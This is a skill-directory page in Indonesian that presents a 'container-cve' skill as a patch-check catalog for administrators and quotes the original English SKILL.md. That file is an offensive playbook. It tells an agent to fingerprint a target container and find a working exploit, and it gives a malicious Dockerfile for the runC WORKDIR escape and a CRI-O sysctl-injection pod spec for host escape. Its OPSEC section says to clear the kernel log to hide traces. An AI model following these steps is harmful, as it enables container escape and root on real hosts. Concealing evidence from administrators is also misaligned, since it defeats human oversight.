Langsung ke konten
Skillpedia
Keamanan6.5k Β· #13988

container-cve

Fungsinya

Skill ini adalah katalog kelemahan runtime container yang penting, lengkap dengan versi yang terdampak dan jenis dampaknya. Skill ini untuk administrator yang perlu tahu apakah tumpukan container mereka memerlukan patch.

Kapan dipakai

  • βœ“Saat seorang administrator meminta agent memeriksa apakah versi runtime container mereka terdampak oleh kelemahan yang sudah dikenal.
  • βœ“Ketika agent mengidentifikasi tumpukan container dan membandingkannya dengan rentang versi yang terdampak dalam katalog.
  • βœ“Ketika sebuah rencana patch harus mendaftar perbaikan runtime mana yang mendesak.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œServer kami menjalankan Docker dan runC, jadi bisakah Anda memeriksa apakah versinya terdampak kelemahan runtime container yang tercantum?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mengumpulkan detail versi dari host dan container, membandingkannya dengan rentang yang terdampak dalam katalog, dan mendaftar kelemahan yang cocok.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Container-Runtime CVE Catalog

When you've identified a container target, fingerprint the runtime stack, then check this catalog for a working exploit. Newest first.

Fingerprint the stack

# Inside the target container
cat /etc/os-release                  # base image
cat /proc/version                     # host kernel
docker version 2>/dev/null            # if you have client+socket
ctr version 2>/dev/null
runc --version 2>/dev/null
# From kubelet metadata, if accessible:
curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata'

Catalog

CVE-2024-21626 β€” runC "Leaky Vessels" WORKDIR escape

Affects: runC < 1.1.12, Docker < 25.0.3, containerd < 1.7.13, BuildKit < 0.12.5 Primitive: WORKDIR pointing at /proc/self/fd/N (where N is an open kernel FD) lets the container CWD escape into the host filesystem.

# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
COPY pwn /pwn
ENTRYPOINT ["/pwn"]
EOF
# Then run on target. Public PoC: github.com/snyk/leaky-vessels-static-detector

CVE-2024-23651/-23652/-23653 β€” BuildKit cache mount / RUN --mount escapes

Affects: BuildKit < 0.12.5 Primitive: Crafted Dockerfile uses cache or bind mounts to leak / overwrite host files during docker build.

CVE-2022-0185 β€” Linux FS context heap overflow

Affects: Linux kernel < 5.16.2 (host kernel β€” affects every container running on it) Primitive: fsopen() syscall with a too-long string overflows the heap. CAP_SYS_ADMIN required, but trivial if the container has it.

# PoC: github.com/Crusaders-of-Rust/CVE-2022-0185
# Container escape via kernel β†’ host root.

CVE-2019-5736 β€” runC binary overwrite

Affects: runC < 1.0.0-rc6, Docker < 18.09.2 Primitive: A malicious container can overwrite the runC binary on the host by exploiting how runC re-execs itself when handling docker exec.

# PoC: github.com/feexd/pocs/blob/master/CVE-2019-5736/
# Still alive on old air-gapped + appliance fleets.

CVE-2019-14271 β€” Docker cp library injection

Affects: Docker < 19.03.1 Primitive: docker cp loaded a libraries from inside the container, letting a malicious image overwrite libnss_files.so.2 to RCE the docker daemon (= host root).

CVE-2018-15664 β€” Docker cp TOCTOU symlink race

Affects: Docker < 18.09.3 Primitive: Symlink race between docker cp resolving the source path and reading it lets you read/write arbitrary host files.

Kubernetes CVE-2019-11247 β€” CR vs CRD RBAC bypass

Affects: Kubernetes 1.7–1.15 Primitive: RBAC checks for CustomResources used the wrong API group, so a user with permission to a CR in one namespace could access CRs in any namespace.

CRI-O CVE-2022-0811 β€” kernel sysctl injection

Affects: CRI-O 1.19+ through 1.23 Primitive: Pod spec securityContext.sysctls accepted unescaped kernel parameters β†’ container escape via kernel.core_pattern.

apiVersion: v1
kind: Pod
metadata:
  name: pwn
spec:
  containers:
  - name: pwn
    image: alpine
    securityContext:
      sysctls:
      - name: "kernel.shm_rmid_forced=1+kernel.core_pattern=|/proc/%P/fd/255 %P"
        value: "0"

Workflow

  1. cve_lookup the runtime version (e.g., runC 1.1.5) and intersect with the catalog above.
  2. cve_poc_lookup for a working PoC.
  3. Try in a copy of the target environment first; container CVE exploits are often kernel-version-fragile.
  4. If exploit yields root on host β†’ see k8s-pod-escape for the post-escape pivot.

OPSEC

  • All of these generate kernel audit / dmesg entries on success. dmesg ring buffer holds last ~1 MB β€” clear it (dmesg -C) if root.
  • The image-based exploits (WORKDIR, BuildKit) require pushing/pulling an attacker image β€” log line in image-pull events.

References

  • snyk.io/research/leaky-vessels β€” runC CVE-2024-21626 chain
  • Aqua Security "Cloud Native Attack Matrix" β€” recent CVE coverage
  • DEFCON 30 "Kernel Heap Exploitation" β€” CVE-2022-0185 deep dive
Pertanyaan umum

Mengapa versi diperiksa?

Skill menyatakan setiap kelemahan hanya berlaku untuk versi tertentu, sehingga kecocokan versi adalah langkah pertama.

Apakah kecocokan membuktikan sistem terpapar?

Tidak. Skill menyatakan konfigurasi dan jalur yang dapat dijangkau juga harus diperiksa.

Apa saja yang ada dalam katalog?

Katalog mencantumkan kelemahan seperti Leaky Vessels, masalah mount BuildKit, dan bug runC serta kernel yang lebih lama.

Detail

Deskripsi asli dari pembuat

High-impact container-runtime CVE catalog β€” runC Leaky Vessels (CVE-2024-21626/-23651/-23652/-23653), CVE-2022-0185 (FUSE/legacy-fs), CVE-2019-5736 (runC binary replace), CRI-O Dirty COW analogs, Kubernetes API server CVE-2019-11247 (custom-resource RBAC bypass). Fingerprint β†’ match β†’ exploit.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#13988
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa